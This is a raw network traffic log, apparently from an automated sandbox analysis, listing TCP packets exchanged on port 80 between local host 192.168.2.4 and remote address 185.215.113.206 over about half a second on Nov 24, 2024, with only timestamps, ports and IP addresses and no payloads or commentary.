Nov 24, 2024 02:13:22.646301985 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.651115894 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.651212931 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.651262999 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.651448965 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.656055927 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.656105042 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.656152964 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.656202078 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.661062002 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.661122084 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.661194086 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.661243916 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.665992975 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.666039944 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.666088104 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.666167974 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.670897007 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.670945883 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.671014071 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.671063900 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.675916910 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.675966024 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.676006079 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.676117897 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.680823088 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.680902958 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.680928946 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.680974960 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.685761929 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.685895920 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.685935974 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.685955048 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.689798117 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.689856052 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.689905882 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.689977884 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.693809032 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.693857908 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.693928003 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.693973064 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.697756052 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.697813034 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.697860003 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.697906017 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.701735973 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.701809883 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.701843977 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.701885939 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.705708981 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.705790043 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.705821037 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.705836058 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.709640980 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.709695101 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.753947020 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.754034996 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.754065990 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.754091978 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.755897045 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.755945921 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.756010056 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.756185055 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.759855032 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.759902000 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.831109047 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.831159115 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.831198931 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.831245899 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.831794977 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.831842899 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.831896067 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.831944942 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.834682941 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.834731102 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.834805965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.834845066 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.837572098 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.837616920 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.837667942 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.837717056 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.840456963 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.840524912 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.840560913 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.840603113 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.843307972 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.843367100 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.843405962 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.843444109 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.846167088 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.846213102 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.846317053 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.846364021 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.849061012 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.849131107 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.849167109 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.849210024 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.851917982 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.851969004 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.852020025 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.852061987 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.854788065 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.854844093 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.854918957 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.854968071 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.857781887 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.857805967 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.857836962 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.857851982 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.860547066 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.860596895 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.860647917 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.860697031 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.863446951 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.863497019 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.863547087 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.863593102 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.866300106 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.866348982 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.866455078 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.866501093 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.869168043 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.869216919 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.869268894 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.869314909 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.872040987 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.872088909 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.872128963 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.872170925 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.874928951 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.874974012 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.874990940 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.875030994 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.877778053 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.877830029 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.877886057 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.877976894 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.880661964 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.880717039 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.880768061 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.880810976 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.883136034 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.883186102 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.883233070 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.883274078 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.885476112 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.885534048 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.885679960 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.885746956 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.887835979 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.887928009 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.887943983 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.888015985 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.890203953 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.890252113 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.890326023 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.890369892 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.892539024 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.892611980 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.892653942 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.892705917 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.894933939 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.894984961 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.895031929 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.895112038 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.897279024 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.897326946 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.897373915 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.897416115 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.899676085 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.899756908 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.899763107 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.899837017 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.902004957 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.902061939 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.902101040 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.902148008 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.904402971 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.904449940 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.904525995 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.904573917 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.906718969 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.906771898 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.906812906 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.906948090 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.909079075 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.909133911 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.909179926 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.909225941 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.911638975 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.911654949 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.911684036 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.911706924 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.913752079 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.913805008 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.957174063 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.957242966 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.957350969 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.957401037 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.958347082 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.958395004 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.958441973 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.958542109 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.960685015 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.960741997 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.960788012 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.960879087 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.963068962 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.963119984 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.963165998 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.963206053 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.965415955 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.965467930 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.965506077 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.965544939 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.040050983 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.040110111 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.040281057 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.040348053 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.040491104 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.040540934 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.040873051 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.040918112 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.040956020 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.041016102 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.042520046 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.042566061 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.042644024 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.042829037 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.044150114 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.044193983 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.044260979 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.044492960 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.045775890 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.045825005 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.045893908 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.046001911 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.047447920 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.047488928 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.047550917 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.047591925 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.049118996 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.049187899 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.049226046 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.049263000 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.050765991 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.050816059 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.050868988 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.050967932 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.052423954 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.052485943 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.052522898 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.052563906 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.054121971 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.054168940 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.054193974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.054227114 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.055761099 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.055810928 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.055882931 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.055932045 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.057516098 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.057571888 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.057629108 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.057676077 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.059055090 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.059108019 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.059154034 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.059194088 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.060667992 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.060717106 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.060769081 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.060811996 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.062369108 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.062416077 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.062462091 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.062520027 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.064038992 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.064095974 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.064165115 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.064205885 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.065675974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.065730095 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.065778971 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.065823078 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.067365885 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.067413092 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.067451954 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.067493916 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.068983078 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.069035053 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.069078922 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.069123030 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.070713997 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.070760965 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.070816040 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.070853949 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.072309017 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.072361946 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.072407961 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.072544098 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.073971987 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.074019909 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.074068069 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.074112892 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.075614929 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.075664997 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.075712919 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.075752020 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.077271938 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.077385902 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.077436924 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.078934908 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.078991890 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.079039097 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.079081059 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.080576897 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.080624104 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.080677986 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.080727100 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.081979990 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.082027912 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.082086086 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.082185030 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.083483934 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.083501101 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.083529949 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.083545923 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.084697008 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.084745884 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.084794998 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.084842920 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.086040020 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.086088896 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.086153984 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.086205959 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.087389946 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.087439060 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.087486982 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.087529898 CET	49748	80	192.168.2.4	185.215.113.206
